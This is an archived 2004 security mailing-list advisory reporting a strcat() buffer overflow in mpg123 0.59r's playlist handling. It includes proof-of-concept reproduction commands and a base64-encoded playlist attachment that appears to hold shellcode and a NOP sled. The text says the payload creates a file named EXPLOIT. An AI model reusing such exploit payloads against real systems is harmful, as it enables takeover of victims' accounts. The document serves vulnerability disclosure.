Mailing-List: contact securesoftware-help@list.cr.yp.to; run by ezmlm Delivered-To: mailing list securesoftware@list.cr.yp.to Received: (qmail 16826 invoked by uid 1017); 15 Dec 2004 08:14:59 -0000 Date: 15 Dec 2004 08:14:59 -0000 Message-ID: <20041215081459.16825.qmail@cr.yp.to> Mail-Followup-To: securesoftware@list.cr.yp.to, hippm@informatik.uni-tuebingen.de Automatic-Legal-Notices: See http://cr.yp.to/mailcopyright.html. From: "D. J. Bernstein" To: securesoftware@list.cr.yp.to, hippm@informatik.uni-tuebingen.de Subject: [remote] [control] mpg123 0.59r find_next_file overflows linetmp buffer Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="qMm9M+Fa2AknHoGS" Content-Disposition: inline --qMm9M+Fa2AknHoGS Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Bartlomiej Sieka, a student in my Fall 2004 UNIX Security Holes course, has discovered a remotely exploitable security hole in mpg123. I'm publishing this notice, but all the discovery credits should be assigned to Sieka. You are at risk if you use mpg123 --list to take an MP3 playlist from a web page (or any other source that could be controlled by an attacker). Whoever provides that input then has complete control over your account: he can read and modify your files, watch the programs you're running, etc. Of course, when you accept a playlist from someone else, you are running the risk that the playlist will include some of your files, conceivably secret audio files. But the mpg123 documentation does not suggest that there is any larger risk. Proof of concept: On an x86 computer running FreeBSD 4.10, as root, type cd /usr/ports/audio/mpg123 make install to download and compile the mpg123 program, version 0.59r (current ports version; note that pre0.59s does not appear to have fixed the bug). Then, as any user, save the file 8.list attached to this message, and type mkdir 1234567890123456789 mv 8.list 1234567890123456789/8.list mpg123 -s --list 1234567890123456789/8.list >/dev/null with the unauthorized result that a file named EXPLOIT is created in the current directory. (I tested this with a 4621-byte environment, as reported by printenv | wc -c.) Here's the bug: In playlist.c, find_next_file() uses strcat() to copy any amount of data into a 1024-byte linetmp[] array. ---D. J. Bernstein, Associate Professor, Department of Mathematics, Statistics, and Computer Science, University of Illinois at Chicago --qMm9M+Fa2AknHoGS Content-Type: application/octet-stream Content-Disposition: attachment; filename="8.list" Content-Transfer-Encoding: base64 kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJDrKFkx wIhBB0BAQMHgB1C4EjRWAsHoGMHgCFBRMcCwBVDNgDHAUEBQzYDo0////0VYUExPSVQE5r+/ BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTm v78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/ BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTm v78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/ BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTm v78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/ BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTm v78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/ BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTm v78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/ BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTm v78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/ BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/BOa/vwTmv78E5r+/ --qMm9M+Fa2AknHoGS--